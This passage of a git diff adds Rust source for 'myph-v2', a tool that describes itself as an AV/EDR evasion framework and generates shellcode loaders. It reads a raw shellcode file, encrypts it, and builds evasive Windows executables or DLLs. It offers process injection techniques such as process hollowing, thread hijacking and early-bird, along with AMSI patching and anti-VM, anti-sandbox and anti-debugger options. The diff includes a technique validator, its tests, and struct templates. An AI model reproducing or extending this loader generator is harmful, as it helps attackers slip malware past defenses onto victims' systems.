+ format!("Unknown technique: '{}'", technique_name),
+ Some("Use --help to see available techniques".to_string()),
+ ));
+ return Err(errors);
+ }
+ };
+
+ if with_dynamic_resolver && !meta.supports_dynamic_resolver() {
+ errors.push(ValidationError::new(
+ format!(
+ "Technique '{}' does not support dynamic function resolver",
+ technique_name
+ ),
+ Some(
+ "Remove --with-dynamic-function-resolver flag or choose a different technique"
+ .to_string(),
+ ),
+ ));
+ }
+
+ if requires_process_param && !meta.requires_process() {
+ errors.push(ValidationError::new(
+ format!(
+ "Technique '{}' is for local execution only and does not use the --process parameter",
+ technique_name
+ ),
+ Some("Remove --process flag or use a process injection technique (crt, crtx, process-hollowing, nt-create-thread-ex, thread-hijacking, early-bird)".to_string()),
+ ));
+ }
+
+ if errors.is_empty() {
+ Ok(())
+ } else {
+ Err(errors)
+ }
+ }
+
+ pub fn display_technique_info(technique_name: &str) -> Option<String> {
+ let meta = get_technique_metadata(technique_name)?;
+ let mut output = String::new();
+
+ output.push_str(&format!("Technique: {}\n", meta.name));
+ output.push_str(&format!("Description: {}\n", meta.description));
+ output.push_str(&format!(
+ "Detection Difficulty: {}\n",
+ meta.detection_difficulty.as_str()
+ ));
+ output.push_str("\nCapabilities:\n");
+
+ for cap in &meta.capabilities {
+ output.push_str(&format!(" - {}\n", cap.description()));
+ }
+
+ if meta.has_capability(Capability::RequiresAdmin) {
+ output.push_str("\n[!] WARNING: This technique requires administrator privileges\n");
+ }
+
+ Some(output)
+ }
+
+ pub fn suggest_compatible_techniques(with_dynamic_resolver: bool) -> Vec<String> {
+ let all_techniques = super::capabilities::list_all_techniques();
+ all_techniques
+ .into_iter()
+ .filter(|meta| {
+ if with_dynamic_resolver {
+ meta.supports_dynamic_resolver()
+ } else {
+ true
+ }
+ })
+ .map(|meta| meta.name.to_string())
+ .collect()
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_validate_crt_with_process() {
+ let result = TechniqueValidator::validate("crt", false, true);
+ assert!(result.is_ok());
+ }
+
+ #[test]
+ fn test_validate_crt_without_process() {
+ // CRT without process parameter should now pass since process param is auto-generated
+ let result = TechniqueValidator::validate("crt", false, false);
+ assert!(result.is_ok());
+ }
+
+ #[test]
+ fn test_validate_create_fiber_without_process() {
+ let result = TechniqueValidator::validate("create-fiber", false, false);
+ assert!(result.is_ok());
+ }
+
+ #[test]
+ fn test_validate_create_fiber_with_process() {
+ let result = TechniqueValidator::validate("create-fiber", false, true);
+ assert!(result.is_err());
+ let errors = result.unwrap_err();
+ assert_eq!(errors.len(), 1);
+ assert!(errors[0].message.contains("local execution only"));
+ }
+
+ #[test]
+ fn test_validate_unknown_technique() {
+ let result = TechniqueValidator::validate("unknown-tech", false, false);
+ assert!(result.is_err());
+ let errors = result.unwrap_err();
+ assert_eq!(errors.len(), 1);
+ assert!(errors[0].message.contains("Unknown technique"));
+ }
+
+ #[test]
+ fn test_validate_with_dynamic_resolver() {
+ let result = TechniqueValidator::validate("crt", true, true);
+ assert!(result.is_ok());
+ }
+
+ #[test]
+ fn test_display_technique_info() {
+ let info = TechniqueValidator::display_technique_info("crt");
+ assert!(info.is_some());
+ let info_str = info.unwrap();
+ assert!(info_str.contains("crt"));
+ assert!(info_str.contains("CreateRemoteThread"));
+ }
+
+ #[test]
+ fn test_display_technique_info_fairy_law() {
+ let info = TechniqueValidator::display_technique_info("fairy-law");
+ assert!(info.is_some());
+ let info_str = info.unwrap();
+ assert!(info_str.contains("fairy-law"));
+ assert!(info_str.contains("WARNING"));
+ assert!(info_str.contains("administrator"));
+ }
+
+ #[test]
+ fn test_display_technique_info_unknown() {
+ let info = TechniqueValidator::display_technique_info("unknown");
+ assert!(info.is_none());
+ }
+
+ #[test]
+ fn test_suggest_compatible_techniques_all() {
+ let techniques = TechniqueValidator::suggest_compatible_techniques(false);
+ assert_eq!(techniques.len(), 17);
+ }
+
+ #[test]
+ fn test_suggest_compatible_techniques_with_dynamic_resolver() {
+ let techniques = TechniqueValidator::suggest_compatible_techniques(true);
+ assert_eq!(techniques.len(), 17);
+ }
+}
diff --git a/src/internals/templates/validation.rs b/src/internals/templates/validation.rs
@@ -0,0 +1,29 @@
+/// Returns the is_valid_utf8 function implementation as a string
+pub fn internals_is_valid_utf8() -> &'static str {
+ r#"/// Validates that a byte slice is valid UTF-8
+///
+/// Returns `true` if the bytes form valid UTF-8, `false` otherwise.
+pub fn is_valid_utf8(data: &[u8]) -> bool {
+ std::str::from_utf8(data).is_ok()
+}"#
+}
+
+/// Returns the compute_checksum function implementation as a string
+pub fn internals_compute_checksum() -> &'static str {
+ r#"/// Computes a simple checksum for data verification
+///
+/// Returns the sum of all bytes modulo 256.
+pub fn compute_checksum(data: &[u8]) -> u8 {
+ data.iter().fold(0u8, |acc, &b| acc.wrapping_add(b))
+}"#
+}
+
+/// Returns the validate_checksum function implementation as a string
+pub fn internals_validate_checksum() -> &'static str {
+ r#"/// Validates a checksum against data
+///
+/// Returns `true` if the checksum matches the computed checksum.
+pub fn validate_checksum(data: &[u8], expected_checksum: u8) -> bool {
+ compute_checksum(data) == expected_checksum
+}"#
+}
diff --git a/src/internals/templates/windows_types.rs b/src/internals/templates/windows_types.rs
@@ -0,0 +1,109 @@
+//! Common Windows API types and structures used across multiple techniques.
+//!
+//! This module centralizes Windows API structure definitions to eliminate duplication
+//! and ensure consistency across all shellcode execution techniques.
+
+/// Generate StartupInfoW structure definition.
+///
+/// This structure is used by CreateProcess and related APIs to specify
+/// how a new process should be created.
+pub fn startup_info_w_struct() -> &'static str {
+ r#"#[repr(C)]
+struct StartupInfoW {
+ cb: u32,
+ reserved1: *mut u16,
+ desktop: *mut u16,
+ title: *mut u16,
+ x: u32,
+ y: u32,
+ x_size: u32,
+ y_size: u32,
+ x_count_chars: u32,
+ y_count_chars: u32,
+ fill_attribute: u32,
+ flags: u32,
+ show_window: u16,
+ reserved2: u16,
+ reserved3: *mut u8,
+ std_input: *mut std::ffi::c_void,
+ std_output: *mut std::ffi::c_void,
+ std_error: *mut std::ffi::c_void,
+}"#
+}
+
+/// Generate ProcessInformation structure definition.
+///
+/// This structure receives information about a newly created process
+/// from CreateProcess and related APIs.
+pub fn process_information_struct() -> &'static str {
+ r#"#[repr(C)]
+struct ProcessInformation {
+ process: *mut std::ffi::c_void,
+ thread: *mut std::ffi::c_void,
+ process_id: u32,
+ thread_id: u32,
+}"#
+}
+
+/// Generate both StartupInfoW and ProcessInformation structures together.
+///
+/// This is the most common case where both structures are needed.
+pub fn process_structures() -> String {
+ format!(
+ "{}\n\n{}",
+ startup_info_w_struct(),
+ process_information_struct()
+ )
+}
+
+/// Generate initialization code for StartupInfoW structure.
+///
+/// Creates a properly initialized StartupInfoW with all fields set to
+/// their default values.
+pub fn init_startup_info_w() -> &'static str {
+ r#"let mut si = StartupInfoW {
+ cb: std::mem::size_of::<StartupInfoW>() as u32,
+ reserved1: ptr::null_mut(),
+ desktop: ptr::null_mut(),
+ title: ptr::null_mut(),
+ x: 0,
+ y: 0,
+ x_size: 0,
+ y_size: 0,
+ x_count_chars: 0,
+ y_count_chars: 0,
+ fill_attribute: 0,
+ flags: 0,
+ show_window: 0,
+ reserved2: 0,
+ reserved3: ptr::null_mut(),
+ std_input: ptr::null_mut(),
+ std_output: ptr::null_mut(),
+ std_error: ptr::null_mut(),
+ };"#
+}
+
+/// Generate initialization code for ProcessInformation structure.
+///
+/// Creates a zeroed ProcessInformation structure ready to receive
+/// process information from CreateProcess.
+pub fn init_process_information() -> &'static str {
+ r#"let mut pi = ProcessInformation {
+ process: ptr::null_mut(),
+ thread: ptr::null_mut(),
+ process_id: 0,
+ thread_id: 0,
+ };"#
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_process_structures_contains_both() {
+ let code = process_structures();
+ assert!(code.contains("struct StartupInfoW"));
+ assert!(code.contains("struct ProcessInformation"));
+ }
+}
diff --git a/src/lib.rs b/src/lib.rs
@@ -0,0 +1,12 @@
+pub mod api_hammering;
+pub mod cli;
+pub mod encryption;
+pub mod evasion;
+pub mod file_ops;
+pub mod internals;
+
+#[cfg(test)]
+use std::sync::Mutex;
+
+#[cfg(test)]
+pub static TEST_DIR_MUTEX: Mutex<()> = Mutex::new(());
diff --git a/src/main.rs b/src/main.rs
@@ -0,0 +1,277 @@
+//! myph-v2: Modern Rust-based shellcode loader generator
+//!
+//! This is the main entry point for the myph-v2 application. It orchestrates
+//! the entire process of generating evasive Windows executables and DLLs from
+//! raw shellcode.
+//!
+//! # Workflow
+//!
+//! 1. Parse command-line options and auto-generate encryption key if needed
+//! 2. Read and validate the shellcode file
+//! 3. Setup temporary build environment
+//! 4. Display configuration summary to user
+//! 5. Generate a temporary Rust project with encrypted shellcode
+//! 6. Build the project in release mode with optimizations
+//! 7. Copy the final binary to the output location
+//!
+//! # Error Handling
+//!
+//! All errors are propagated through the `run()` function using the `?` operator
+//! and handled centrally in `main()` for consistent error reporting.
+
+mod cli;
+mod encryption;
+mod env_setup;
+mod evasion;
+mod file_ops;
+#[allow(dead_code)]
+mod internals;
+
+use cli::Options;
+use std::env;
+use std::io;
+use std::process;
+
+#[cfg(test)]
+use std::sync::Mutex;
+
+#[cfg(test)]
+// Global mutex to serialize tests that change working directory across all test modules
+static TEST_DIR_MUTEX: Mutex<()> = Mutex::new(());
+
+const ASCII_ART: &str = r#"
+ ... -==[ M Y P H ]==-
+ ;::::;
+ ;::::; :; In loving memory of
+ ;:::::' :; Wassyl Iaroslavovytch Slipak
+ ;:::::; ;.
+ ,:::::' ; OOO (1974 - 2016)
+ ::::::; ; OOOOO
+ ;:::::; ; OOOOOOOO
+ ,;::::::; ;' / OOOOOOO v2.1.1
+ ;::::::::: . ,,,;. / / DOOOOOO
+ .';:::::::::::::::::;, / / DOOOO
+ ,::::::;::::::;;;;::::;, / / DOOO AV / EDR evasion framework
+; :::::: '::::::;;;::::: ,#/ / DOOO to pop shells and
+: ::::::: ;::::::;;::: ;::# / DOOO make the blue team cry
+:: ::::::: ;:::::::: ;::::# / DOO
+ : ::::::: ;:::::: ;::::::#/ DOO
+ ::: ::::::: ;; ;:::::::::## OO written with <3 by djnn
+ :::: ::::::: ;::::::::;:::# OO ------
+ ::::: ::::::::::::;' :;::# O https://djnn.sh
+ ::::: ::::::::; / / :#
+ :::::: :::::; / / #
+
+
+ "#;
+
+fn display_banner() {
+ println!("{}", ASCII_ART);
+}
+
+fn display_supported(feature_name: &str, is_supported: bool) {
+ println!(
+ " • {} : {}",
+ feature_name,
+ if is_supported {
+ "✓ Enabled"
+ } else {
+ "✗ Disabled"
+ }
+ );
+}
+
+fn technique_name_from_enum(technique: &cli::Technique) -> &'static str {
+ match technique {
+ cli::Technique::CRT => "crt",
+ cli::Technique::CRTx => "crtx",
+ cli::Technique::CreateFiber => "create-fiber",
+ cli::Technique::ProcessHollowing => "process-hollowing",
+ cli::Technique::CreateThread => "create-thread",
+ cli::Technique::NtCreateThreadEx => "nt-create-thread-ex",
+ cli::Technique::Syscall => "syscall",
+ cli::Technique::Etwp => "etwp",
+ cli::Technique::SetTimer => "set-timer",
+ cli::Technique::EnumCalendar => "enum-calendar",
+ cli::Technique::EnumWindows => "enum-windows",
+ cli::Technique::EnumSystemLocales => "enum-system-locales",
+ cli::Technique::ImageGetDigestStream => "image-get-digest-stream",
+ cli::Technique::QueueUserAPC => "queue-user-apc",
+ cli::Technique::FairyLaw => "fairy-law",
+ cli::Technique::ModuleStomping => "module-stomping",
+ cli::Technique::ThreadHijacking => "thread-hijacking",
+ cli::Technique::EarlyBird => "early-bird",
+ }
+}
+
+fn validate_technique_compatibility(opts: &Options) -> io::Result<()> {
+ let technique_name = technique_name_from_enum(&opts.technique);
+ let has_process_param = opts.process != "cmd.exe";
+
+ match internals::templates::techniques::validation::TechniqueValidator::validate(
+ technique_name,
+ opts.with_dynamic_function_resolver,
+ has_process_param,
+ ) {
+ Ok(()) => Ok(()),
+ Err(errors) => {
+ eprintln!("\n[!] Technique compatibility validation failed:\n");
+ for error in &errors {
+ eprintln!(" [!] {}", error.message);
+ if let Some(suggestion) = &error.suggestion {
+ eprintln!(" [+] Suggestion: {}", suggestion);
+ }
+ eprintln!();
+ }
+ Err(io::Error::other("Technique compatibility check failed"))
+ }
+ }
+}
+
+fn handle_compatibility_check(opts: &Options) -> io::Result<()> {
+ let technique_name = technique_name_from_enum(&opts.technique);
+
+ println!("\n╭─────────────────────────────────────────────╮");
+ println!("│ Technique Compatibility Check │");
+ println!("╰─────────────────────────────────────────────╯\n");
+
+ if let Some(info) =
+ internals::templates::techniques::validation::TechniqueValidator::display_technique_info(
+ technique_name,
+ )
+ {
+ println!("{}", info);
+ } else {
+ eprintln!("✗ Unknown technique: {}", technique_name);
+ return Err(io::Error::other("Unknown technique"));
+ }
+
+ let has_process_param = opts.process != "cmd.exe";
+ match internals::templates::techniques::validation::TechniqueValidator::validate(
+ technique_name,
+ opts.with_dynamic_function_resolver,
+ has_process_param,
+ ) {
+ Ok(()) => {
+ println!("\n[+] All compatibility checks passed!");
+ println!("[+] This technique is compatible with the selected features.");
+ }
+ Err(errors) => {
+ println!("\n[!] Compatibility issues found:\n");
+ for error in &errors {
+ println!(" [!] {}", error.message);
+ if let Some(suggestion) = &error.suggestion {
+ println!(" [+] {}", suggestion);
+ }
+ println!();
+ }
+ }
+ }
+
+ Ok(())
+}
+
+fn display_configuration(opts: &Options) {
+ println!("\n╭─────────────────────────────────────────────╮");
+ println!("│ Configuration Summary │");
+ println!("╰─────────────────────────────────────────────╯");
+ println!();
+
+ let encryption_key = opts
+ .key
+ .as_ref()
+ .expect("Encryption key should have been auto-generated");
+
+ println!(" [+] Encryption : {:?}", opts.encryption);
+ println!(" [+] Key : {}", encryption_key);
+ println!(" [+] Technique : {:?}", opts.technique);
+ println!(" [+] Target Process: {}", opts.process);
+ println!(" [+] Binary Format : {:?}", opts.binary_format);
+ println!(" [+] Output File : {}", opts.out);
+ println!();
+
+ println!(" [+] Evasion Features:");
+ display_supported("API Hammering", opts.with_api_hammering);
+ display_supported("AMSI Patching", opts.with_amsi_patch);
+ display_supported("String Encryption", opts.with_string_encryption);
+ display_supported(
+ "Dynamic Function Resolver",
+ opts.with_dynamic_function_resolver,
+ );
+ display_supported("Anti-VM Detection", opts.with_anti_vm);
+ display_supported("Anti-Sandbox Detection", opts.with_anti_sandbox);
+ display_supported("Anti-Debugger Detection", opts.with_anti_debugger);
+ println!();
+}
+
+fn run() -> io::Result<()> {
+ display_banner();
+
+ let opts = Options::parse_and_generate();
+
+ // Handle --check-compatibility flag
+ if opts.check_compatibility {
+ return handle_compatibility_check(&opts);
+ }
+
+ // Validate technique compatibility before building
+ validate_technique_compatibility(&opts)?;
+
+ if matches!(opts.technique, cli::Technique::FairyLaw) {
+ eprintln!("\n[!] This technique requires Administrator privileges and system restart after it has run.\n");
+ }
+
+ let original_cwd = env::current_dir()
+ .map_err(|e| io::Error::other(format!("Failed to get current working directory: {}", e)))?;
+
+ let shellcode_data = file_ops::read_file_bytes(&opts.shellcode).map_err(|e| {
+ io::Error::other(format!(
+ "Failed to read shellcode file '{}': {}",
+ opts.shellcode, e
+ ))
+ })?;
+
+ println!(
+ "✓ Shellcode file read successfully: {} bytes",
+ shellcode_data.len()
+ );
+
+ let _temp_dir = env_setup::setup_environment()
+ .map_err(|e| io::Error::other(format!("Failed to setup environment: {}", e)))?;
+
+ display_configuration(&opts);
+
+ let encryption_key = opts.key.as_ref().expect(
+ "Encryption key should have been auto-generated if not provided by Options::parse_and_generate()",
+ );
+
+ let build_env = internals::BuildEnv::new()
+ .with_project_name("temp_project")
+ .with_output_name(&opts.out)
+ .with_original_cwd(&original_cwd)
+ .with_shellcode(&shellcode_data)
+ .with_binary_format(&opts.binary_format)
+ .with_encryption(&opts.encryption, encryption_key)
+ .with_technique(&opts.technique)
+ .with_process(&opts.process)
+ .with_api_hammering(opts.with_api_hammering)
+ .with_amsi_patch(opts.with_amsi_patch)
+ .with_string_encryption(opts.with_string_encryption)
+ .with_dynamic_function_resolver(opts.with_dynamic_function_resolver)
+ .with_anti_vm(opts.with_anti_vm)
+ .with_anti_sandbox(opts.with_anti_sandbox)
+ .with_anti_debugger(opts.with_anti_debugger);
+
+ build_env
+ .build()
+ .map_err(|e| io::Error::other(format!("Failed to build project: {}", e)))?;
+
+ Ok(())
+}
+
+fn main() {
+ if let Err(e) = run() {
+ eprintln!("\n✗ Error: {}", e);
+ process::exit(1);
+ }
+}
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |